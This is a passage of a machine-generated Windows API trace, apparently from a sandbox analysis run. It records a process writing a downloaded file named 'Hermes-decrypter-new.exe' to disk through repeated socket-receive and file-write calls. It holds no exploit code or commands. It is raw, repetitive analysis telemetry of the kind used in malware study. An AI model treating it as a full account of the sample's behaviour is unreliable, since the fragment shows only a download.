wParam=0x14, lParam=0xfda158) returned 1 [0100.747] NtdllDefWindowProc_W (hWnd=0x60030, Msg=0x1a, wParam=0x14, lParam=0x9d628) returned 0x0 [0101.288] GetFullPathNameW (in: lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe", nBufferLength=0x105, lpBuffer=0x19e228, lpFilePart=0x0 | out: lpBuffer="C:\\FD1HVy\\Hermes-decrypter-new.exe", lpFilePart=0x0) returned 0x22 [0101.289] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x19e76c) returned 1 [0101.289] CreateFileW (lpFileName="C:\\FD1HVy\\Hermes-decrypter-new.exe" (normalized: "c:\\fd1hvy\\hermes-decrypter-new.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6b4 [0101.289] GetFileType (hFile=0x6b4) returned 0x1 [0101.289] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x19e768) returned 1 [0101.289] GetFileType (hFile=0x6b4) returned 0x1 [0101.289] QueryPerformanceCounter (in: lpPerformanceCount=0x19e7f0 | out: lpPerformanceCount=0x19e7f0*=18729311206) returned 1 [0101.289] SetEvent (hEvent=0x2fc) returned 1 [0101.299] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5f8*=0x4a4, lpdwindex=0x19e414 | out: lpdwindex=0x19e414) returned 0x80010115 [0101.300] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5d8*=0x494, lpdwindex=0x19e3f4 | out: lpdwindex=0x19e3f4) returned 0x80010115 [0101.300] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e5d8*=0x49c, lpdwindex=0x19e3f4 | out: lpdwindex=0x19e3f4) returned 0x80010115 [0101.300] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4c4, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0101.301] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4cc, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0101.301] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0x0, cHandles=0x1, pHandles=0x19e62c*=0x4d4, lpdwindex=0x19e44c | out: lpdwindex=0x19e44c) returned 0x80010115 [0101.302] select (in: nfds=0, readfds=0x2ff8694, writefds=0x0, exceptfds=0x0, timeout=0x19e6c4 | out: readfds=0x2ff8694, writefds=0x0, exceptfds=0x0) returned 0 [0101.302] send (s=0x6bc, buf=0x2fca788*, len=82, flags=0) returned 82 [0101.303] setsockopt (s=0x6bc, level=65535, optname=4102, optval="\xa0\x86\x01", optlen=4) returned 0 [0101.303] recv (in: s=0x6bc, buf=0x2fc7300, len=4096, flags=0 | out: buf=0x2fc7300*) returned 4096 [0101.385] setsockopt (s=0x6bc, level=65535, optname=4102, optval="\xe0\x93\x04", optlen=4) returned 0 [0101.385] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 9712 [0101.385] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0101.386] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff9222*, nNumberOfBytesToWrite=0x24aa, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff9222*, lpNumberOfBytesWritten=0x19e7b0*=0x24aa, lpOverlapped=0x0) returned 1 [0101.386] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 58800 [0101.606] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0xe5b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0xe5b0, lpOverlapped=0x0) returned 1 [0101.607] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0101.608] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0101.814] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0101.814] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5d60, lpOverlapped=0x0) returned 1 [0101.815] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0101.820] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0101.821] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0101.821] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0101.821] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0101.888] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0101.888] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0101.950] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0101.950] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0101.951] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x31a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x31a0, lpOverlapped=0x0) returned 1 [0101.951] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0102.020] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0102.020] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0102.020] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0102.021] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0102.097] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0102.097] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0102.097] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0102.097] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0102.280] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0102.281] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0102.281] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0102.282] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0102.363] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0102.364] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0102.364] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0102.364] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0102.521] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x7850, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x7850, lpOverlapped=0x0) returned 1 [0102.522] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 25200 [0102.522] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6270, lpOverlapped=0x0) returned 1 [0102.523] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0102.600] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0102.601] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0102.601] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0102.601] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0102.674] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0102.674] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0102.674] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0102.674] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0102.754] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0102.754] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0102.754] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0102.754] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0102.832] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0102.832] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0102.832] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0102.833] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0102.929] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0102.929] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 11200 [0102.930] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x2bc0, lpOverlapped=0x0) returned 1 [0102.931] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0103.002] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0103.003] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0103.003] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0103.004] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0103.081] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0103.082] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0103.082] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0103.082] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0103.153] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0103.153] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0103.153] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0103.154] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0103.223] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0103.224] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 16800 [0103.224] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x41a0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x41a0, lpOverlapped=0x0) returned 1 [0103.224] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0103.565] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0103.565] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0103.565] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 33600 [0103.647] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0103.648] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x7e30, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x7e30, lpOverlapped=0x0) returned 1 [0103.648] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0103.648] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0103.740] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0103.740] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x5270, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x5270, lpOverlapped=0x0) returned 1 [0103.740] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 1400 [0103.740] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 47600 [0103.892] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0103.892] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff9b64*, nNumberOfBytesToWrite=0xaf68, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff9b64*, lpNumberOfBytesWritten=0x19e7b0*=0xaf68, lpOverlapped=0x0) returned 1 [0103.893] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0104.008] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0104.009] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 14000 [0104.009] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x36b0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x36b0, lpOverlapped=0x0) returned 1 [0104.010] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0104.089] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0104.090] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 2800 [0104.090] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 30800 [0104.193] WriteFile (in: hFile=0x6b4, lpBuffer=0x30090e8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x30090e8*, lpNumberOfBytesWritten=0x19e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0104.193] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff95ec*, nNumberOfBytesToWrite=0x7340, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff95ec*, lpNumberOfBytesWritten=0x19e7b0*=0x7340, lpOverlapped=0x0) returned 1 [0104.194] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0104.194] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0104.194] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0104.294] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0104.295] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0104.295] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0104.295] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0104.370] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0104.371] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 8400 [0104.371] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x20d0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x20d0, lpOverlapped=0x0) returned 1 [0104.371] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 19600 [0104.447] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x4c90, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x4c90, lpOverlapped=0x0) returned 1 [0104.448] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 5600 [0104.448] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x15e0, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x15e0, lpOverlapped=0x0) returned 1 [0104.448] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 22400 [0104.503] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x5780, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x5780, lpOverlapped=0x0) returned 1 [0104.503] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0104.570] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0104.571] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: buf=0x2ff90dc*) returned 28000 [0104.647] WriteFile (in: hFile=0x6b4, lpBuffer=0x2ff90dc*, nNumberOfBytesToWrite=0x6d60, lpNumberOfBytesWritten=0x19e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2ff90dc*, lpNumberOfBytesWritten=0x19e7b0*=0x6d60, lpOverlapped=0x0) returned 1 [0104.647] recv (in: s=0x6bc, buf=0x2ff90dc, len=65536, flags=0 | out: 